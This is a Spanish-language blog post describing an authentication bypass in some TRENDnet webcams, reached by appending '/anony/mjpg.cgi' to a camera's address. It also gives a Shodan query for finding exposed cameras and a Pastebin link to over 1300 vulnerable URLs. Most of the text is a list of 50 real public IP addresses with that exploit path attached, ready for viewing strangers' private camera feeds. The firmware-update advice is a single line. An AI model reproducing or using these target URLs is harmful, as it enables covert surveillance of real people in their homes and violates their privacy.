Si tienes en tu cuarto una Camara TRENDnet mejor Apagala

Un fallo de seguridad muy pero muy vergonzosa en algunos modelos de las cámaras TRENDnet el cual permite a un atacante o algún curioso conectarse a una de estas Webcams remotamente bypasseando la autenticacion e ingresando sin introducir ningún usuario ni contraseña valida.
la verdad que estos fallos son demasiado fáciles de explotar y quisas no merece la pena dedicarle mucho tiempo a la explicación, si tenemos una de estas webcam corriendo sobre la ip 192.168.1.2 apuntada al puerto 80 solo debemos de agregar "/anony/mjpg.cgi"

http://192.168.1.2/anony/mjpg.cgi

y listo nos saltamos el login y podemos ver nuestra webcam, ahora en caso no tengamos una pero queremos buscar algunas por la red la podemos hacer desde el poderoso SHODAN un método de búsqueda seria

http://www.shodanhq.com/search?q=TRENDnet

Y como en el mundo hay cada genio (Vago) ya hay en pastebin un lista de mas de 1300 url de estas webcam las cuales son vulnerables: http://pastebin.com/jLqbjpJh

, la lista sigue creciendo y puedes dar también tus aportes qui les dejo un pantallaso de una webcam:

ojo muchas de estas ip presentadas en la lista de url ya no se encuentran activas debido a que estas ips pueden ser dinámicas y pudieron haber cambiado, como contramedida en caso tengas esta webcam con este bug se recomienda actualizar el firmware de tu Webcam y como sabrán es una buena practica tapar la webcam casi nadie que conoce algo de seguridad la trae sin cubrir. Aqui les dejo 50 IP de la lista de PASTEBIN

http://94.18.124.194/anony/mjpg.cgi
http://80.15.131.186/anony/mjpg.cgi
http://78.156.127.21/anony/mjpg.cgi
http://71.63.36.13/anony/mjpg.cgi
http://190.96.212.150/anony/mjpg.cgi
http://189.234.129.103/anony/mjpg.cgi
http://99.139.70.3/anony/mjpg.cgi
http://65.182.79.56/anony/mjpg.cgi
http://78.233.76.131/anony/mjpg.cgi
http://93.100.234.102/anony/mjpg.cgi
http://91.64.157.16/anony/mjpg.cgi
http://99.189.24.236/anony/mjpg.cgi
http://98.194.41.34/anony/mjpg.cgi
http://67.148.242.39/anony/mjpg.cgi
http://173.197.24.110/anony/mjpg.cgi
http://82.241.221.67/anony/mjpg.cgi
http://81.20.161.234/anony/mjpg.cgi
http://96.252.11.123/anony/mjpg.cgi
http://88.163.52.198/anony/mjpg.cgi
http://76.30.239.192/anony/mjpg.cgi
http://63.229.31.1/anony/mjpg.cgi
http://67.152.141.125/anony/mjpg.cgi
http://65.167.91.229/anony/mjpg.cgi
http://24.49.134.172/anony/mjpg.cgi
http://98.196.16.153/anony/mjpg.cgi
http://152.14.56.212/anony/mjpg.cgi
http://85.170.41.122/anony/mjpg.cgi
http://108.38.11.47/anony/mjpg.cgi
http://201.241.57.183/anony/mjpg.cgi
http://67.33.52.88/anony/mjpg.cgi
http://188.26.196.60/anony/mjpg.cgi
http://72.130.154.165/anony/mjpg.cgi
http://148.244.71.207/anony/mjpg.cgi
http://77.73.53.238/anony/mjpg.cgi
http://38.107.185.237/anony/mjpg.cgi
http://74.71.239.153/anony/mjpg.cgi
http://173.72.150.62/anony/mjpg.cgi
http://81.248.22.160/anony/mjpg.cgi
http://119.234.201.114/anony/mjpg.cgi
http://220.134.93.194/anony/mjpg.cgi
http://76.103.91.127/anony/mjpg.cgi
http://71.238.95.169/anony/mjpg.cgi
http://81.20.148.158/anony/mjpg.cgi
http://89.156.201.187/anony/mjpg.cgi
http://187.153.231.142/anony/mjpg.cgi
http://200.114.12.155/anony/mjpg.cgi
http://173.73.40.122/anony/mjpg.cgi
http://216.58.57.60/anony/mjpg.cgi
http://76.252.236.95/anony/mjpg.cgi
http://96.4.3.59/anony/mjpg.cgi

By neotrons